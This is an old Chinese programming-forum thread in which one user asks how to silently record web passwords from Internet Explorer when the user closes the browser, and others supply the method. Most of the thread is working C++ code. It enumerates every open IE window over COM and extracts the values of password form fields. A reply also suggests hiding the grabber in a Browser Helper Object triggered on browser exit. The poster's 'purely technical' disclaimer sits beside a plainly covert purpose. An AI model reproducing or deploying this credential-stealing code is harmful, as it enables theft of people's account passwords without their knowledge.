我需要一个创意,怎样更无缝的获得网页密码?

kingzai 2002-05-10 10:49:44
首先对此问题郑重声明:此问题属于纯技术范畴,绝不应用与不正当用途。
怎样钩取网页密码我已经知道,但一般的方法是以鼠标左键点击密码框,然后通过IE的COM接口取得密码。我现在想做的是省掉这一步。当用户关闭IE时,网页中的密码自动被我记录下来。
我的解决方法
1:使用键盘钩子,记录输入的情况。但这种方法弊端太多。因为密码输入时可能出现回退和输错的情况。
2。使用监控窗口钩子,因为IE的很多窗口都是画出来的,所以窗口句柄很难得到。
大家有什么好方法没有??
...全文
132 9 打赏 收藏 转发到动态 举报
写回复
用AI写文章
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
kingzai 2002-05-10
  • 打赏
  • 举报
回复
jiangsheng,没错,我刚刚正在改这段代码。

蒋晟 2002-05-10
  • 打赏
  • 举报
回复
不需要坐标,枚举Forms和<Input>就可以
kingzai 2002-05-10
  • 打赏
  • 举报
回复
其实我想实现这样一个函数:
CString GetPassword(IHTMLDocument2 *pDoc2)
{
...
}
//遍历网页表单元素,只要是编辑框的内容都进行保存。
kingzai 2002-05-10
  • 打赏
  • 举报
回复
其实我想实现这样一个函数:
CString GetPassword(IHTMLDocument2 *pDoc2)
{
...
}
//遍历网页表单元素,只要是编辑框的内容都进行保存。
kingzai 2002-05-10
  • 打赏
  • 举报
回复
masterz,太感谢了!
有几个技术细节想和你讨论一下:
CString GetPassword(IHTMLDocument2 *pDoc2,POINT pt)
{
if(pDoc2==NULL)return "";
CComPtr<IHTMLElement> pElement;
HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement);
if(SUCCEEDED(hr)){
CComPtr<IHTMLInputTextElement> pPwdElement;
hr=pElement->QueryInterface(IID_IHTMLInputTextElement,
(void**)&pPwdElement);
if(SUCCEEDED(hr)){
CComBSTR type;
hr=pPwdElement->get_type(&type);
if(SUCCEEDED(hr)){
if(type==_T("password")){
CComBSTR pwd;
hr=pPwdElement->get_value(&pwd);
if(SUCCEEDED(hr)){
if(pwd.Length()!=0){
CComBSTR msg;
msg=pwd;
CString str(msg);
return str;
}
else{
return "";
}
}
}
}
}
}
pDoc2->Release();
return "";
}
我是通过这种方法得到网页密码的,这里elementFromPoint必须有输入坐标(比如鼠标点选时)有别的方法得到IE中的表单元素吗
masterz 2002-05-10
  • 打赏
  • 举报
回复
http://www.vchelp.net/source/submit/autocomp.htm
通过调用微软Shell32.dll中提供的IAutoComplete接口使编辑框及ComboBox框置有自动完成功能.
masterz 2002-05-10
  • 打赏
  • 举报
回复
write a BHO, sink ONQUIT event, and get the password in that event handler.
you can refer to http://www.csdn.net/Expert/TopicView1.asp?id=689265
kingzai 2002-05-10
  • 打赏
  • 举报
回复
有谁用过IAutoComplete接口
masterz 2002-05-10
  • 打赏
  • 举报
回复
////////////////////////////////////////////////////////
//get password from IE
//If it works, it is written by masterz,otherwise I don't
//know who writes it^_^
///////////////////////////////////////////////////////
#import <mshtml.tlb> // Internet Explorer 5
#import <shdocvw.dll>
#include "Shlwapi.h"
#include <tchar.h>
#include <stdio.h>
#pragma comment(lib,"Shlwapi.lib")

bool GetPassword(MSHTML::IHTMLDocument2Ptr spHtmlDocument,char* buf,int buflen)
{
buf[0]=0;
if(spHtmlDocument==NULL)
return false;
bool bret = false;
MSHTML::IHTMLElementPtr spHtmlElement;
spHtmlDocument->get_body(&spHtmlElement);
if(spHtmlElement==NULL)
return false;
HRESULT hr;
MSHTML::IHTMLElementCollection* pColl=NULL;
hr=spHtmlDocument->get_all(&pColl);
if(pColl!=NULL&&SUCCEEDED(hr))
{
long lcount = 0;
pColl->get_length(&lcount);
for(int i=0;i<lcount;i++)
{
_variant_t index;
index.vt=VT_I4;
index.intVal=i;
IDispatchPtr disp;
disp=pColl->item(index,index);
if(disp==NULL)
hr=E_FAIL;
else
{
MSHTML::IHTMLInputElementPtr pInput(disp);
if(pInput)
{
BSTR bstrtype;
pInput->get_type(&bstrtype);
printf(_bstr_t(bstrtype));
if(StrCmpW(bstrtype,L"password")==0)
{
BSTR bstrval;
pInput->get_value(&bstrval);

bret = true;
wsprintf(buf,"%s",(char*)_bstr_t(bstrval));
SysFreeString(bstrval);
}
SysFreeString(bstrtype);
}
}

}
pColl->Release();
}
return bret;
}
int _tmain(int argc, _TCHAR* argv[])
{
CoInitialize(NULL);
SHDocVw::IShellWindowsPtr m_spSHWinds;
if(m_spSHWinds.CreateInstance(__uuidof(SHDocVw::ShellWindows)) == S_OK)
{
IDispatchPtr spDisp;
long nCount = m_spSHWinds->GetCount();
for (long i = 0; i < nCount; i++)
{
_variant_t va(i, VT_I4);
spDisp = m_spSHWinds->Item(va);
SHDocVw::IWebBrowser2Ptr spBrowser(spDisp);
if (spBrowser != NULL)
{
IDispatchPtr spDisp;
if(spBrowser->get_Document(&spDisp) == S_OK && spDisp!= 0 )
{
MSHTML::IHTMLDocument2Ptr spHtmlDocument(spDisp);
{
char tmpbuf[128];
if(GetPassword(spHtmlDocument,tmpbuf,127))
{
printf("password is:%s\n",tmpbuf);

}
}

}

}
}

}
else
{
printf("Shell Windows interface is not avilable\n");
}
CoUninitialize();
return 0;
}

16,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧